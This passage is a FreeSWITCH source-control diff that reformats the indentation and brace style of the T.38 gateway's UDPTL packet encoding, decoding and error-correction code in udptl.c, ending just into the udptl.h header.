Modified: freeswitch/trunk/src/mod/applications/mod_t38gateway/udptl.c (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_t38gateway/udptl.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_t38gateway/udptl.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -36,561 +36,528 @@
static int decode_length(const uint8_t *buf, int limit, int *len, int *pvalue)
{
- if (*len >= limit)
- return -1;
- if ((buf[*len] & 0x80) == 0)
- {
- *pvalue = buf[(*len)++];
- return 0;
- }
- if ((buf[*len] & 0x40) == 0)
- {
- if (*len >= limit - 1)
- return -1;
- *pvalue = (buf[(*len)++] & 0x3F) << 8;
- *pvalue |= buf[(*len)++];
- return 0;
- }
- *pvalue = (buf[(*len)++] & 0x3F) << 14;
- /* Indicate we have a fragment */
- return 1;
+ if (*len >= limit)
+ return -1;
+ if ((buf[*len] & 0x80) == 0) {
+ *pvalue = buf[(*len)++];
+ return 0;
+ }
+ if ((buf[*len] & 0x40) == 0) {
+ if (*len >= limit - 1)
+ return -1;
+ *pvalue = (buf[(*len)++] & 0x3F) << 8;
+ *pvalue |= buf[(*len)++];
+ return 0;
+ }
+ *pvalue = (buf[(*len)++] & 0x3F) << 14;
+ /* Indicate we have a fragment */
+ return 1;
}
+
/*- End of function --------------------------------------------------------*/
-static int decode_open_type(const uint8_t *buf, int limit, int *len, const uint8_t **p_object, int *p_num_octets)
+static int decode_open_type(const uint8_t *buf, int limit, int *len, const uint8_t ** p_object, int *p_num_octets)
{
- int octet_cnt;
- int octet_idx;
- int stat;
- int i;
- const uint8_t **pbuf;
+ int octet_cnt;
+ int octet_idx;
+ int stat;
+ int i;
+ const uint8_t **pbuf;
- for (octet_idx = 0, *p_num_octets = 0; ; octet_idx += octet_cnt)
- {
- if ((stat = decode_length(buf, limit, len, &octet_cnt)) < 0)
- return -1;
- if (octet_cnt > 0)
- {
- *p_num_octets += octet_cnt;
+ for (octet_idx = 0, *p_num_octets = 0;; octet_idx += octet_cnt) {
+ if ((stat = decode_length(buf, limit, len, &octet_cnt)) < 0)
+ return -1;
+ if (octet_cnt > 0) {
+ *p_num_octets += octet_cnt;
- pbuf = &p_object[octet_idx];
- i = 0;
- /* Make sure the buffer contains at least the number of bits requested */
- if ((*len + octet_cnt) > limit)
- return -1;
+ pbuf = &p_object[octet_idx];
+ i = 0;
+ /* Make sure the buffer contains at least the number of bits requested */
+ if ((*len + octet_cnt) > limit)
+ return -1;
- *pbuf = &buf[*len];
- *len += octet_cnt;
- }
- if (stat == 0)
- break;
- }
- return 0;
+ *pbuf = &buf[*len];
+ *len += octet_cnt;
+ }
+ if (stat == 0)
+ break;
+ }
+ return 0;
}
+
/*- End of function --------------------------------------------------------*/
static int encode_length(uint8_t *buf, int *len, int value)
{
- int multiplier;
+ int multiplier;
- if (value < 0x80)
- {
- /* 1 octet */
- buf[(*len)++] = value;
- return value;
- }
- if (value < 0x4000)
- {
- /* 2 octets */
- /* Set the first bit of the first octet */
- buf[(*len)++] = ((0x8000 | value) >> 8) & 0xFF;
- buf[(*len)++] = value & 0xFF;
- return value;
- }
- /* Fragmentation */
- multiplier = (value < 0x10000) ? (value >> 14) : 4;
- /* Set the first 2 bits of the octet */
- buf[(*len)++] = 0xC0 | multiplier;
- return multiplier << 14;
+ if (value < 0x80) {
+ /* 1 octet */
+ buf[(*len)++] = value;
+ return value;
+ }
+ if (value < 0x4000) {
+ /* 2 octets */
+ /* Set the first bit of the first octet */
+ buf[(*len)++] = ((0x8000 | value) >> 8) & 0xFF;
+ buf[(*len)++] = value & 0xFF;
+ return value;
+ }
+ /* Fragmentation */
+ multiplier = (value < 0x10000) ? (value >> 14) : 4;
+ /* Set the first 2 bits of the octet */
+ buf[(*len)++] = 0xC0 | multiplier;
+ return multiplier << 14;
}
+
/*- End of function --------------------------------------------------------*/
static int encode_open_type(uint8_t *buf, int *len, const uint8_t *data, int num_octets)
{
- int enclen;
- int octet_idx;
- uint8_t zero_byte;
+ int enclen;
+ int octet_idx;
+ uint8_t zero_byte;
- /* If open type is of zero length, add a single zero byte (10.1) */
- if (num_octets == 0)
- {
- zero_byte = 0;
- data = &zero_byte;
- num_octets = 1;
- }
- /* Encode the open type */
- for (octet_idx = 0; ; num_octets -= enclen, octet_idx += enclen)
- {
- if ((enclen = encode_length(buf, len, num_octets)) < 0)
- return -1;
- if (enclen > 0)
- {
- memcpy(&buf[*len], &data[octet_idx], enclen);
- *len += enclen;
- }
- if (enclen >= num_octets)
- break;
- }
+ /* If open type is of zero length, add a single zero byte (10.1) */
+ if (num_octets == 0) {
+ zero_byte = 0;
+ data = &zero_byte;
+ num_octets = 1;
+ }
+ /* Encode the open type */
+ for (octet_idx = 0;; num_octets -= enclen, octet_idx += enclen) {
+ if ((enclen = encode_length(buf, len, num_octets)) < 0)
+ return -1;
+ if (enclen > 0) {
+ memcpy(&buf[*len], &data[octet_idx], enclen);
+ *len += enclen;
+ }
+ if (enclen >= num_octets)
+ break;
+ }
- return 0;
+ return 0;
}
+
/*- End of function --------------------------------------------------------*/
int udptl_rx_packet(udptl_state_t *s, const uint8_t buf[], int len)
{
- int stat;
- int stat2;
- int i;
- int j;
- int k;
- int l;
- int m;
- int x;
- int limit;
- int which;
- int ptr;
- int count;
- int total_count;
- int seq_no;
- const uint8_t *msg;
- const uint8_t *data;
- int msg_len;
- int repaired[16];
- const uint8_t *bufs[16];
- int lengths[16];
- int span;
- int entries;
+ int stat;
+ int stat2;
+ int i;
+ int j;
+ int k;
+ int l;
+ int m;
+ int x;
+ int limit;
+ int which;
+ int ptr;
+ int count;
+ int total_count;
+ int seq_no;
+ const uint8_t *msg;
+ const uint8_t *data;
+ int msg_len;
+ int repaired[16];
+ const uint8_t *bufs[16];
+ int lengths[16];
+ int span;
+ int entries;
- ptr = 0;
- /* Decode seq_number */
- if (ptr + 2 > len)
- return -1;
- seq_no = (buf[0] << 8) | buf[1];
- ptr += 2;
- /* Break out the primary packet */
- if ((stat = decode_open_type(buf, len, &ptr, &msg, &msg_len)) != 0)
- return -1;
- /* Decode error_recovery */
- if (ptr + 1 > len)
- return -1;
- /* Our buffers cannot tolerate overlength packets */
- if (msg_len > LOCAL_FAX_MAX_DATAGRAM)
- return -1;
- /* Update any missed slots in the buffer */
- for (i = s->rx_seq_no; seq_no > i; i++)
- {
- x = i & UDPTL_BUF_MASK;
- s->rx[x].buf_len = -1;
- s->rx[x].fec_len[0] = 0;
- s->rx[x].fec_span = 0;
- s->rx[x].fec_entries = 0;
- }
- /* Save the new packet. Pure redundancy mode won't use this, but some systems will switch
- into FEC mode after sending some redundant packets. */
- x = seq_no & UDPTL_BUF_MASK;
- memcpy(s->rx[x].buf, msg, msg_len);
- s->rx[x].buf_len = msg_len;
- s->rx[x].fec_len[0] = 0;
- s->rx[x].fec_span = 0;
- s->rx[x].fec_entries = 0;
- if ((buf[ptr++] & 0x80) == 0)
- {
- /* Secondary packet mode for error recovery */
- /* We might have the packet we want, but we need to check through
- the redundant stuff, and verify the integrity of the UDPTL.
- This greatly reduces our chances of accepting garbage. */
- total_count = 0;
- do
- {
- if ((stat2 = decode_length(buf, len, &ptr, &count)) < 0)
- return -1;
- for (i = 0; i < count; i++)
- {
- if ((stat = decode_open_type(buf, len, &ptr, &bufs[total_count + i], &lengths[total_count + i])) != 0)
- return -1;
- }
- total_count += count;
- }
- while (stat2 > 0);
- /* We should now be exactly at the end of the packet. If not, this is a fault. */
- if (ptr != len)
- return -1;
- if (seq_no > s->rx_seq_no)
- {
- /* We received a later packet than we expected, so we need to check if we can fill in the gap from the
- secondary packets. */
- /* Step through in reverse order, so we go oldest to newest */
- for (i = total_count; i > 0; i--)
- {
- if (seq_no - i >= s->rx_seq_no)
- {
- /* This one wasn't seen before */
- /* Decode the secondary packet */
+ ptr = 0;
+ /* Decode seq_number */
+ if (ptr + 2 > len)
+ return -1;
+ seq_no = (buf[0] << 8) | buf[1];
+ ptr += 2;
+ /* Break out the primary packet */
+ if ((stat = decode_open_type(buf, len, &ptr, &msg, &msg_len)) != 0)
+ return -1;
+ /* Decode error_recovery */
+ if (ptr + 1 > len)
+ return -1;
+ /* Our buffers cannot tolerate overlength packets */
+ if (msg_len > LOCAL_FAX_MAX_DATAGRAM)
+ return -1;
+ /* Update any missed slots in the buffer */
+ for (i = s->rx_seq_no; seq_no > i; i++) {
+ x = i & UDPTL_BUF_MASK;
+ s->rx[x].buf_len = -1;
+ s->rx[x].fec_len[0] = 0;
+ s->rx[x].fec_span = 0;
+ s->rx[x].fec_entries = 0;
+ }
+ /* Save the new packet. Pure redundancy mode won't use this, but some systems will switch
+ into FEC mode after sending some redundant packets. */
+ x = seq_no & UDPTL_BUF_MASK;
+ memcpy(s->rx[x].buf, msg, msg_len);
+ s->rx[x].buf_len = msg_len;
+ s->rx[x].fec_len[0] = 0;
+ s->rx[x].fec_span = 0;
+ s->rx[x].fec_entries = 0;
+ if ((buf[ptr++] & 0x80) == 0) {
+ /* Secondary packet mode for error recovery */
+ /* We might have the packet we want, but we need to check through
+ the redundant stuff, and verify the integrity of the UDPTL.
+ This greatly reduces our chances of accepting garbage. */
+ total_count = 0;
+ do {
+ if ((stat2 = decode_length(buf, len, &ptr, &count)) < 0)
+ return -1;
+ for (i = 0; i < count; i++) {
+ if ((stat = decode_open_type(buf, len, &ptr, &bufs[total_count + i], &lengths[total_count + i])) != 0)
+ return -1;
+ }
+ total_count += count;
+ }
+ while (stat2 > 0);
+ /* We should now be exactly at the end of the packet. If not, this is a fault. */
+ if (ptr != len)
+ return -1;
+ if (seq_no > s->rx_seq_no) {
+ /* We received a later packet than we expected, so we need to check if we can fill in the gap from the
+ secondary packets. */
+ /* Step through in reverse order, so we go oldest to newest */
+ for (i = total_count; i > 0; i--) {
+ if (seq_no - i >= s->rx_seq_no) {
+ /* This one wasn't seen before */
+ /* Decode the secondary packet */
#if defined(UDPTL_DEBUG)
- fprintf(stderr, "Secondary %d, len %d\n", seq_no - i, lengths[i - 1]);
+ fprintf(stderr, "Secondary %d, len %d\n", seq_no - i, lengths[i - 1]);
#endif
- /* Save the new packet. Redundancy mode won't use this, but some systems will switch into
- FEC mode after sending some redundant packets, and this may then be important. */
- x = (seq_no - i) & UDPTL_BUF_MASK;
- memcpy(s->rx[x].buf, bufs[i - 1], lengths[i - 1]);
- s->rx[x].buf_len = lengths[i - 1];
- s->rx[x].fec_len[0] = 0;
- s->rx[x].fec_span = 0;
- s->rx[x].fec_entries = 0;
- if (s->rx_packet_handler(s->user_data, bufs[i - 1], lengths[i - 1], seq_no - i) < 0)
- fprintf(stderr, "Bad IFP\n");
- }
- }
- }
- }
- else
- {
- /* FEC mode for error recovery */
+ /* Save the new packet. Redundancy mode won't use this, but some systems will switch into
+ FEC mode after sending some redundant packets, and this may then be important. */
+ x = (seq_no - i) & UDPTL_BUF_MASK;
+ memcpy(s->rx[x].buf, bufs[i - 1], lengths[i - 1]);
+ s->rx[x].buf_len = lengths[i - 1];
+ s->rx[x].fec_len[0] = 0;
+ s->rx[x].fec_span = 0;
+ s->rx[x].fec_entries = 0;
+ if (s->rx_packet_handler(s->user_data, bufs[i - 1], lengths[i - 1], seq_no - i) < 0)
+ fprintf(stderr, "Bad IFP\n");
+ }
+ }
+ }
+ } else {
+ /* FEC mode for error recovery */
- /* Decode the FEC packets */
- /* The span is defined as an unconstrained integer, but will never be more
- than a small value. */
- if (ptr + 2 > len)
- return -1;
- if (buf[ptr++] != 1)
- return -1;
- span = buf[ptr++];
+ /* Decode the FEC packets */
+ /* The span is defined as an unconstrained integer, but will never be more
+ than a small value. */
+ if (ptr + 2 > len)
+ return -1;
+ if (buf[ptr++] != 1)
+ return -1;
+ span = buf[ptr++];
- x = seq_no & UDPTL_BUF_MASK;
+ x = seq_no & UDPTL_BUF_MASK;
- s->rx[x].fec_span = span;
+ s->rx[x].fec_span = span;
- memset(repaired, 0, sizeof(repaired));
- repaired[x] = TRUE;
+ memset(repaired, 0, sizeof(repaired));
+ repaired[x] = TRUE;
- /* The number of entries is defined as a length, but will only ever be a small
- value. Treat it as such. */
- if (ptr + 1 > len)
- return -1;
- entries = buf[ptr++];
- s->rx[x].fec_entries = entries;
+ /* The number of entries is defined as a length, but will only ever be a small
+ value. Treat it as such. */
+ if (ptr + 1 > len)
+ return -1;
+ entries = buf[ptr++];
+ s->rx[x].fec_entries = entries;
- /* Decode the elements */
- for (i = 0; i < entries; i++)
- {
- if ((stat = decode_open_type(buf, len, &ptr, &data, &s->rx[x].fec_len[i])) != 0)
- return -1;
- if (s->rx[x].fec_len[i] > LOCAL_FAX_MAX_DATAGRAM)
- return -1;
+ /* Decode the elements */
+ for (i = 0; i < entries; i++) {
+ if ((stat = decode_open_type(buf, len, &ptr, &data, &s->rx[x].fec_len[i])) != 0)
+ return -1;
+ if (s->rx[x].fec_len[i] > LOCAL_FAX_MAX_DATAGRAM)
+ return -1;
- /* Save the new FEC data */
- memcpy(s->rx[x].fec[i], data, s->rx[x].fec_len[i]);
+ /* Save the new FEC data */
+ memcpy(s->rx[x].fec[i], data, s->rx[x].fec_len[i]);
#if 0
- fprintf(stderr, "FEC: ");
- for (j = 0; j < s->rx[x].fec_len[i]; j++)
- fprintf(stderr, "%02X ", data[j]);
- fprintf(stderr, "\n");
+ fprintf(stderr, "FEC: ");
+ for (j = 0; j < s->rx[x].fec_len[i]; j++)
+ fprintf(stderr, "%02X ", data[j]);
+ fprintf(stderr, "\n");
#endif
- }
- /* We should now be exactly at the end of the packet. If not, this is a fault. */
- if (ptr != len)
- return -1;
- /* See if we can reconstruct anything which is missing */
- /* TODO: this does not comprehensively hunt back and repair everything that is possible */
- for (l = x; l != ((x - (16 - span*entries)) & UDPTL_BUF_MASK); l = (l - 1) & UDPTL_BUF_MASK)
- {
- if (s->rx[l].fec_len[0] <= 0)
- continue;
- for (m = 0; m < s->rx[l].fec_entries; m++)
- {
- limit = (l + m) & UDPTL_BUF_MASK;
- for (which = -1, k = (limit - s->rx[l].fec_span*s->rx[l].fec_entries) & UDPTL_BUF_MASK; k != limit; k = (k + s->rx[l].fec_entries) & UDPTL_BUF_MASK)
- {
- if (s->rx[k].buf_len <= 0)
- which = (which == -1) ? k : -2;
- }
- if (which >= 0)
- {
- /* Repairable */
- for (j = 0; j < s->rx[l].fec_len[m]; j++)
- {
- s->rx[which].buf[j] = s->rx[l].fec[m][j];
- for (k = (limit - s->rx[l].fec_span*s->rx[l].fec_entries) & UDPTL_BUF_MASK; k != limit; k = (k + s->rx[l].fec_entries) & UDPTL_BUF_MASK)
- s->rx[which].buf[j] ^= (s->rx[k].buf_len > j) ? s->rx[k].buf[j] : 0;
- }
- s->rx[which].buf_len = s->rx[l].fec_len[m];
- repaired[which] = TRUE;
- }
- }
- }
- /* Now play any new packets forwards in time */
- for (l = (x + 1) & UDPTL_BUF_MASK, j = seq_no - UDPTL_BUF_MASK; l != x; l = (l + 1) & UDPTL_BUF_MASK, j++)
- {
- if (repaired[l])
- {
+ }
+ /* We should now be exactly at the end of the packet. If not, this is a fault. */
+ if (ptr != len)
+ return -1;
+ /* See if we can reconstruct anything which is missing */
+ /* TODO: this does not comprehensively hunt back and repair everything that is possible */
+ for (l = x; l != ((x - (16 - span * entries)) & UDPTL_BUF_MASK); l = (l - 1) & UDPTL_BUF_MASK) {
+ if (s->rx[l].fec_len[0] <= 0)
+ continue;
+ for (m = 0; m < s->rx[l].fec_entries; m++) {
+ limit = (l + m) & UDPTL_BUF_MASK;
+ for (which = -1, k = (limit - s->rx[l].fec_span * s->rx[l].fec_entries) & UDPTL_BUF_MASK; k != limit;
+ k = (k + s->rx[l].fec_entries) & UDPTL_BUF_MASK) {
+ if (s->rx[k].buf_len <= 0)
+ which = (which == -1) ? k : -2;
+ }
+ if (which >= 0) {
+ /* Repairable */
+ for (j = 0; j < s->rx[l].fec_len[m]; j++) {
+ s->rx[which].buf[j] = s->rx[l].fec[m][j];
+ for (k = (limit - s->rx[l].fec_span * s->rx[l].fec_entries) & UDPTL_BUF_MASK; k != limit;
+ k = (k + s->rx[l].fec_entries) & UDPTL_BUF_MASK)
+ s->rx[which].buf[j] ^= (s->rx[k].buf_len > j) ? s->rx[k].buf[j] : 0;
+ }
+ s->rx[which].buf_len = s->rx[l].fec_len[m];
+ repaired[which] = TRUE;
+ }
+ }
+ }
+ /* Now play any new packets forwards in time */
+ for (l = (x + 1) & UDPTL_BUF_MASK, j = seq_no - UDPTL_BUF_MASK; l != x; l = (l + 1) & UDPTL_BUF_MASK, j++) {
+ if (repaired[l]) {
#if defined(UDPTL_DEBUG)
- fprintf(stderr, "Fixed packet %d, len %d\n", j, l);
+ fprintf(stderr, "Fixed packet %d, len %d\n", j, l);
#endif
- if (s->rx_packet_handler(s->user_data, s->rx[l].buf, s->rx[l].buf_len, j) < 0)
- fprintf(stderr, "Bad IFP\n");
- }
- }
- }
- /* If packets are received out of sequence, we may have already processed this packet from the error
- recovery information in a packet already received. */
- if (seq_no >= s->rx_seq_no)
- {
- /* Decode the primary packet */
+ if (s->rx_packet_handler(s->user_data, s->rx[l].buf, s->rx[l].buf_len, j) < 0)
+ fprintf(stderr, "Bad IFP\n");
+ }
+ }
+ }
+ /* If packets are received out of sequence, we may have already processed this packet from the error
+ recovery information in a packet already received. */
+ if (seq_no >= s->rx_seq_no) {
+ /* Decode the primary packet */
#if defined(UDPTL_DEBUG)
- fprintf(stderr, "Primary packet %d, len %d\n", seq_no, msg_len);
+ fprintf(stderr, "Primary packet %d, len %d\n", seq_no, msg_len);
#endif
- if (s->rx_packet_handler(s->user_data, msg, msg_len, seq_no) < 0)
- fprintf(stderr, "Bad IFP\n");
- }
+ if (s->rx_packet_handler(s->user_data, msg, msg_len, seq_no) < 0)
+ fprintf(stderr, "Bad IFP\n");
+ }
- s->rx_seq_no = (seq_no + 1) & 0xFFFF;
- return 0;
+ s->rx_seq_no = (seq_no + 1) & 0xFFFF;
+ return 0;
}
+
/*- End of function --------------------------------------------------------*/
int udptl_build_packet(udptl_state_t *s, uint8_t buf[], const uint8_t msg[], int msg_len)
{
- uint8_t fec[LOCAL_FAX_MAX_DATAGRAM];
- int i;
- int j;
- int seq;
- int entry;
- int entries;
- int span;
- int m;
- int len;
- int limit;
- int high_tide;
+ uint8_t fec[LOCAL_FAX_MAX_DATAGRAM];
+ int i;
+ int j;
+ int seq;
+ int entry;
+ int entries;
+ int span;
+ int m;
+ int len;
+ int limit;
+ int high_tide;
- /* UDPTL cannot cope with zero length messages, and our buffering for redundancy limits their
- maximum length. */
- if (msg_len < 1 || msg_len > LOCAL_FAX_MAX_DATAGRAM)
- return -1;
- seq = s->tx_seq_no & 0xFFFF;
+ /* UDPTL cannot cope with zero length messages, and our buffering for redundancy limits their
+ maximum length. */
+ if (msg_len < 1 || msg_len > LOCAL_FAX_MAX_DATAGRAM)
+ return -1;
+ seq = s->tx_seq_no & 0xFFFF;
- /* Map the sequence number to an entry in the circular buffer */
- entry = seq & UDPTL_BUF_MASK;
+ /* Map the sequence number to an entry in the circular buffer */
+ entry = seq & UDPTL_BUF_MASK;
- /* We save the message in a circular buffer, for generating FEC or
- redundancy sets later on. */
- s->tx[entry].buf_len = msg_len;
- memcpy(s->tx[entry].buf, msg, msg_len);
-
- /* Build the UDPTL packet */
+ /* We save the message in a circular buffer, for generating FEC or
+ redundancy sets later on. */
+ s->tx[entry].buf_len = msg_len;
+ memcpy(s->tx[entry].buf, msg, msg_len);
- len = 0;
- /* Encode the sequence number */
- buf[len++] = (seq >> 8) & 0xFF;
- buf[len++] = seq & 0xFF;
+ /* Build the UDPTL packet */
- /* Encode the primary packet */
- if (encode_open_type(buf, &len, msg, msg_len) < 0)
- return -1;
+ len = 0;
+ /* Encode the sequence number */
+ buf[len++] = (seq >> 8) & 0xFF;
+ buf[len++] = seq & 0xFF;
- /* Encode the appropriate type of error recovery information */
- switch (s->error_correction_scheme)
- {
- case UDPTL_ERROR_CORRECTION_NONE:
- /* Encode the error recovery type */
- buf[len++] = 0x00;
- /* The number of entries will always be zero, so it is pointless allowing
- for the fragmented case here. */
- if (encode_length(buf, &len, 0) < 0)
- return -1;
- break;
- case UDPTL_ERROR_CORRECTION_REDUNDANCY:
- /* Encode the error recovery type */
- buf[len++] = 0x00;
- if (s->tx_seq_no > s->error_correction_entries)
- entries = s->error_correction_entries;
- else
- entries = s->tx_seq_no;
- /* The number of entries will always be small, so it is pointless allowing
- for the fragmented case here. */
- if (encode_length(buf, &len, entries) < 0)
- return -1;
- /* Encode the elements */
- for (i = 0; i < entries; i++)
- {
- j = (entry - i - 1) & UDPTL_BUF_MASK;
- if (encode_open_type(buf, &len, s->tx[j].buf, s->tx[j].buf_len) < 0)
- return -1;
- }
- break;
- case UDPTL_ERROR_CORRECTION_FEC:
- span = s->error_correction_span;
- entries = s->error_correction_entries;
- if (seq < s->error_correction_span*s->error_correction_entries)
- {
- /* In the initial stages, wind up the FEC smoothly */
- entries = seq/s->error_correction_span;
- if (seq < s->error_correction_span)
- span = 0;
- }
- /* Encode the error recovery type */
- buf[len++] = 0x80;
- /* Span is defined as an inconstrained integer, which it dumb. It will only
- ever be a small value. Treat it as such. */
- buf[len++] = 1;
- buf[len++] = span;
- /* The number of entries is defined as a length, but will only ever be a small
- value. Treat it as such. */
- buf[len++] = entries;
- for (m = 0; m < entries; m++)
- {
- /* Make an XOR'ed entry the maximum length */
- limit = (entry + m) & UDPTL_BUF_MASK;
- high_tide = 0;
- for (i = (limit - span*entries) & UDPTL_BUF_MASK; i != limit; i = (i + entries) & UDPTL_BUF_MASK)
- {
- if (high_tide < s->tx[i].buf_len)
- {
- for (j = 0; j < high_tide; j++)
- fec[j] ^= s->tx[i].buf[j];
- for ( ; j < s->tx[i].buf_len; j++)
- fec[j] = s->tx[i].buf[j];
- high_tide = s->tx[i].buf_len;
- }
- else
- {
- for (j = 0; j < s->tx[i].buf_len; j++)
- fec[j] ^= s->tx[i].buf[j];
- }
- }
- if (encode_open_type(buf, &len, fec, high_tide) < 0)
- return -1;
- }
- break;
- }
+ /* Encode the primary packet */
+ if (encode_open_type(buf, &len, msg, msg_len) < 0)
+ return -1;
- if (s->verbose)
- fprintf(stderr, "\n");
- s->tx_seq_no++;
- return len;
+ /* Encode the appropriate type of error recovery information */
+ switch (s->error_correction_scheme) {
+ case UDPTL_ERROR_CORRECTION_NONE:
+ /* Encode the error recovery type */
+ buf[len++] = 0x00;
+ /* The number of entries will always be zero, so it is pointless allowing
+ for the fragmented case here. */
+ if (encode_length(buf, &len, 0) < 0)
+ return -1;
+ break;
+ case UDPTL_ERROR_CORRECTION_REDUNDANCY:
+ /* Encode the error recovery type */
+ buf[len++] = 0x00;
+ if (s->tx_seq_no > s->error_correction_entries)
+ entries = s->error_correction_entries;
+ else
+ entries = s->tx_seq_no;
+ /* The number of entries will always be small, so it is pointless allowing
+ for the fragmented case here. */
+ if (encode_length(buf, &len, entries) < 0)
+ return -1;
+ /* Encode the elements */
+ for (i = 0; i < entries; i++) {
+ j = (entry - i - 1) & UDPTL_BUF_MASK;
+ if (encode_open_type(buf, &len, s->tx[j].buf, s->tx[j].buf_len) < 0)
+ return -1;
+ }
+ break;
+ case UDPTL_ERROR_CORRECTION_FEC:
+ span = s->error_correction_span;
+ entries = s->error_correction_entries;
+ if (seq < s->error_correction_span * s->error_correction_entries) {
+ /* In the initial stages, wind up the FEC smoothly */
+ entries = seq / s->error_correction_span;
+ if (seq < s->error_correction_span)
+ span = 0;
+ }
+ /* Encode the error recovery type */
+ buf[len++] = 0x80;
+ /* Span is defined as an inconstrained integer, which it dumb. It will only
+ ever be a small value. Treat it as such. */
+ buf[len++] = 1;
+ buf[len++] = span;
+ /* The number of entries is defined as a length, but will only ever be a small
+ value. Treat it as such. */
+ buf[len++] = entries;
+ for (m = 0; m < entries; m++) {
+ /* Make an XOR'ed entry the maximum length */
+ limit = (entry + m) & UDPTL_BUF_MASK;
+ high_tide = 0;
+ for (i = (limit - span * entries) & UDPTL_BUF_MASK; i != limit; i = (i + entries) & UDPTL_BUF_MASK) {
+ if (high_tide < s->tx[i].buf_len) {
+ for (j = 0; j < high_tide; j++)
+ fec[j] ^= s->tx[i].buf[j];
+ for (; j < s->tx[i].buf_len; j++)
+ fec[j] = s->tx[i].buf[j];
+ high_tide = s->tx[i].buf_len;
+ } else {
+ for (j = 0; j < s->tx[i].buf_len; j++)
+ fec[j] ^= s->tx[i].buf[j];
+ }
+ }
+ if (encode_open_type(buf, &len, fec, high_tide) < 0)
+ return -1;
+ }
+ break;
+ }
+
+ if (s->verbose)
+ fprintf(stderr, "\n");
+ s->tx_seq_no++;
+ return len;
}
+
/*- End of function --------------------------------------------------------*/
-int udptl_set_error_correction(udptl_state_t *s,
- int ec_scheme,
- int span,
- int entries)
+int udptl_set_error_correction(udptl_state_t *s, int ec_scheme, int span, int entries)
{
- switch (ec_scheme)
- {
- case UDPTL_ERROR_CORRECTION_FEC:
- case UDPTL_ERROR_CORRECTION_REDUNDANCY:
- case UDPTL_ERROR_CORRECTION_NONE:
- s->error_correction_scheme = ec_scheme;
- break;
- case -1:
- /* Just don't change the scheme */
- break;
- default:
- return -1;
- }
- if (span >= 0)
- s->error_correction_span = span;
- if (entries >= 0)
- s->error_correction_entries = entries;
- return 0;
+ switch (ec_scheme) {
+ case UDPTL_ERROR_CORRECTION_FEC:
+ case UDPTL_ERROR_CORRECTION_REDUNDANCY:
+ case UDPTL_ERROR_CORRECTION_NONE:
+ s->error_correction_scheme = ec_scheme;
+ break;
+ case -1:
+ /* Just don't change the scheme */
+ break;
+ default:
+ return -1;
+ }
+ if (span >= 0)
+ s->error_correction_span = span;
+ if (entries >= 0)
+ s->error_correction_entries = entries;
+ return 0;
}
+
/*- End of function --------------------------------------------------------*/
-int udptl_get_error_correction(udptl_state_t *s,
- int *ec_scheme,
- int *span,
- int *entries)
+int udptl_get_error_correction(udptl_state_t *s, int *ec_scheme, int *span, int *entries)
{
- if (ec_scheme)
- *ec_scheme = s->error_correction_scheme;
- if (span)
- *span = s->error_correction_span;
- if (entries)
- *entries = s->error_correction_entries;
- return 0;
+ if (ec_scheme)
+ *ec_scheme = s->error_correction_scheme;
+ if (span)
+ *span = s->error_correction_span;
+ if (entries)
+ *entries = s->error_correction_entries;
+ return 0;
}
+
/*- End of function --------------------------------------------------------*/
int udptl_set_local_max_datagram(udptl_state_t *s, int max_datagram)
{
- s->local_max_datagram_size = max_datagram;
- return 0;
+ s->local_max_datagram_size = max_datagram;
+ return 0;
}
+
/*- End of function --------------------------------------------------------*/
int udptl_get_local_max_datagram(udptl_state_t *s)
{
- return s->local_max_datagram_size;
+ return s->local_max_datagram_size;
}
+
/*- End of function --------------------------------------------------------*/
int udptl_set_far_max_datagram(udptl_state_t *s, int max_datagram)
{
- s->far_max_datagram_size = max_datagram;
- return 0;
+ s->far_max_datagram_size = max_datagram;
+ return 0;
}
+
/*- End of function --------------------------------------------------------*/
int udptl_get_far_max_datagram(udptl_state_t *s)
{
- return s->far_max_datagram_size;
+ return s->far_max_datagram_size;
}
+
/*- End of function --------------------------------------------------------*/
-udptl_state_t *udptl_init(udptl_state_t *s,
- int ec_scheme,
- int span,
- int entries,
- udptl_rx_packet_handler_t rx_packet_handler,
- void *user_data)
+udptl_state_t *udptl_init(udptl_state_t *s, int ec_scheme, int span, int entries, udptl_rx_packet_handler_t rx_packet_handler, void *user_data)
{
- int i;
+ int i;
- if (rx_packet_handler == NULL)
- return NULL;
+ if (rx_packet_handler == NULL)
+ return NULL;
- if (s == NULL)
- {
- if ((s = (udptl_state_t *) malloc(sizeof(*s))) == NULL)
- return NULL;
- }
- memset(s, 0, sizeof(*s));
-
- s->error_correction_scheme = ec_scheme;
- s->error_correction_span = span;
- s->error_correction_entries = entries;
-
- s->far_max_datagram_size = LOCAL_FAX_MAX_DATAGRAM;
- s->local_max_datagram_size = LOCAL_FAX_MAX_DATAGRAM;
+ if (s == NULL) {
+ if ((s = (udptl_state_t *) malloc(sizeof(*s))) == NULL)
+ return NULL;
+ }
+ memset(s, 0, sizeof(*s));
- memset(&s->rx, 0, sizeof(s->rx));
- memset(&s->tx, 0, sizeof(s->tx));
- for (i = 0; i <= UDPTL_BUF_MASK; i++)
- {
- s->rx[i].buf_len = -1;
- s->tx[i].buf_len = -1;
- }
+ s->error_correction_scheme = ec_scheme;
+ s->error_correction_span = span;
+ s->error_correction_entries = entries;
- s->rx_packet_handler = rx_packet_handler;
- s->user_data = user_data;
+ s->far_max_datagram_size = LOCAL_FAX_MAX_DATAGRAM;
+ s->local_max_datagram_size = LOCAL_FAX_MAX_DATAGRAM;
- return s;
+ memset(&s->rx, 0, sizeof(s->rx));
+ memset(&s->tx, 0, sizeof(s->tx));
+ for (i = 0; i <= UDPTL_BUF_MASK; i++) {
+ s->rx[i].buf_len = -1;
+ s->tx[i].buf_len = -1;
+ }
+
+ s->rx_packet_handler = rx_packet_handler;
+ s->user_data = user_data;
+
+ return s;
}
+
/*- End of function --------------------------------------------------------*/
int udptl_release(udptl_state_t *s)
{
- return 0;
+ return 0;
}
+
/*- End of function --------------------------------------------------------*/
/*- End of file ------------------------------------------------------------*/
Modified: freeswitch/trunk/src/mod/applications/mod_t38gateway/udptl.h (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_t38gateway/udptl.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_t38gateway/udptl.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -30,71 +30,66 @@
#define UDPTL_BUF_MASK 15
-typedef int (udptl_rx_packet_handler_t)(void *user_data, const uint8_t msg[], int len, int seq_no);
